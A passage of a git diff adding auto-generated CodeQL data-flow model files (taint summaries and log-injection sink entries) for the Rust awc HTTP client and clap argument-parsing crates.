"Argument[self].Field[crate::connect::ConnectResponse::Client(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::into_tunnel_response", "Argument[self].Field[crate::connect::ConnectResponse::Tunnel(0)]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::into_tunnel_response", "Argument[self].Field[crate::connect::ConnectResponse::Tunnel(1)]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[0]", "ReturnValue.Field[crate::connect::ConnectRequestFuture::Connection::req].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::connect::DefaultConnector::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extra_header", "Argument[self].Reference", "ReturnValue.Field[crate::frozen::FrozenSendBuilder::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extra_headers", "Argument[0]", "ReturnValue.Field[crate::frozen::FrozenSendBuilder::extra_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extra_headers", "Argument[self].Reference", "ReturnValue.Field[crate::frozen::FrozenSendBuilder::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[self].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[self].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[self].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[self].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[self].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extra_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::frozen::FrozenSendBuilder::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::frozen::FrozenSendBuilder::extra_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[self].Field[crate::frozen::FrozenSendBuilder::req].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[self].Field[crate::frozen::FrozenSendBuilder::req].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[self].Field[crate::frozen::FrozenSendBuilder::req].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[self].Field[crate::frozen::FrozenSendBuilder::req].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[self].Field[crate::frozen::FrozenSendBuilder::req].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::middleware::NestTransform::child]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::middleware::NestTransform::parent]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new_transform", "Argument[self].Field[crate::middleware::redirect::Redirect::max_redirect_times]", "ReturnValue.Field[crate::middleware::redirect::RedirectService::max_redirect_times]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirect_times", "Argument[0]", "Argument[self].Field[crate::middleware::redirect::Redirect::max_redirect_times]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirect_times", "Argument[0]", "ReturnValue.Field[crate::middleware::redirect::Redirect::max_redirect_times]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirect_times", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[0].Field[crate::connect::ConnectRequest::Client(1)].Field[crate::any_body::AnyBody::Bytes::body]", "ReturnValue.Field[crate::middleware::redirect::RedirectServiceFuture::Client::body].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[0].Field[crate::connect::ConnectRequest::Client(2)]", "ReturnValue.Field[crate::middleware::redirect::RedirectServiceFuture::Client::addr]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::middleware::redirect::RedirectService::max_redirect_times]", "ReturnValue.Field[crate::middleware::redirect::RedirectServiceFuture::Client::max_redirect_times]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[0]", "Argument[self].Field[crate::request::ClientRequest::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::bearer_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::camel_case", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::content_length", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::force_close", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get_method", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get_peer_addr", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::peer_addr]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get_uri", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::uri]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get_version", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::version]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::headers", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::headers_mut", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::insert_header_if_none", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::method", "Argument[0]", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::method", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::method", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[2]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::no_decompress", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::query", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "Argument[self].Field[crate::request::ClientRequest::timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::uri", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[0]", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::version]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::version]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::json_body::JsonBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::responses::read_body::ReadBody::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::responses::read_body::ReadBody::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::headers", "Argument[self].Field[crate::responses::response::ClientResponse::head].Field[crate::responses::head::ResponseHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::take_payload", "Argument[self].Field[crate::responses::response::ClientResponse::payload]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[0]", "Argument[self].Field[crate::responses::response::ClientResponse::timeout].Field[crate::responses::ResponseTimeout::Disabled(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[0]", "ReturnValue.Field[crate::responses::response::ClientResponse::timeout].Field[crate::responses::ResponseTimeout::Disabled(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::body", "Argument[self].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::response_body::ResponseBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self].Field[crate::responses::response::ClientResponse::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::headers", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::json", "Argument[self].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::json_body::JsonBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::map_body", "Argument[0].ReturnValue", "ReturnValue.Field[crate::responses::response::ClientResponse::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::responses::response::ClientResponse::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::responses::response::ClientResponse::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::status", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::response_body::ResponseBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::sender::SendClientRequest::Err(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::finish", "Argument[self].Field[crate::test::TestResponse::head]", "ReturnValue.Field[crate::responses::response::ClientResponse::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::set_payload", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[0]", "Argument[self].Field[crate::test::TestResponse::head].Field[crate::responses::head::ResponseHead::version]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[0]", "ReturnValue.Field[crate::test::TestResponse::head].Field[crate::responses::head::ResponseHead::version]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[0]", "Argument[self].Field[crate::ws::WebsocketsRequest::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[0]", "ReturnValue.Field[crate::ws::WebsocketsRequest::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::bearer_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_frame_size", "Argument[0]", "Argument[self].Field[crate::ws::WebsocketsRequest::max_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_frame_size", "Argument[0]", "ReturnValue.Field[crate::ws::WebsocketsRequest::max_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::ws::WebsocketsRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::origin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::protocols", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::server_mode", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::set_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::set_header_if_none", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/actix/actix-web:awc", "crate::client::h2proto::send_request", "Argument[1]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml new file mode 100644 index 000000000000..f6539d8bde13 --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml @@ -0,0 +1,17 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap", "::augment_args", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::augment_args_for_update", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::augment_subcommands", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::augment_subcommands_for_update", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap", "::from_matches", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml new file mode 100644 index 000000000000..8daf130e9ea5 --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_bench", "::args", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_bench", "::args", "Argument[self].Field[crate::Args(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_bench", "::name", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_bench", "::name", "Argument[self].Field[crate::Args(0)]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml new file mode 100644 index 000000000000..a26bc4c1a0ba --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml @@ -0,0 +1,394 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_builder", "<_ as crate::builder::value_parser::TypedValueParser>::parse_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::bitor", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::action", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_hyphen_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_negative_numbers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::conflicts_with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::conflicts_with_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_missing_value", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_missing_value_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_missing_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_missing_values_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value_if", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value_if_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value_ifs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value_ifs_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_values_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::display_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::env", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::env_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::exclusive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_action", "Argument[self].Field[crate::builder::arg::Arg::action].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_default_values", "Argument[self].Field[crate::builder::arg::Arg::default_vals]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_display_order", "Argument[self].Field[crate::builder::arg::Arg::disp_ord].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_env", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_help", "Argument[self].Field[crate::builder::arg::Arg::help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_id", "Argument[self].Field[crate::builder::arg::Arg::id]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_index", "Argument[self].Field[crate::builder::arg::Arg::index]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_long_help", "Argument[self].Field[crate::builder::arg::Arg::long_help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_num_args", "Argument[self].Field[crate::builder::arg::Arg::num_vals]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_short", "Argument[self].Field[crate::builder::arg::Arg::short]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_value_delimiter", "Argument[self].Field[crate::builder::arg::Arg::val_delim]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_value_names", "Argument[self].Field[crate::builder::arg::Arg::val_names]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_value_terminator", "Argument[self].Field[crate::builder::arg::Arg::terminator].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::global", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::group", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::groups", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::help_heading", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_default_value", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_env", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_env_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_long_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", 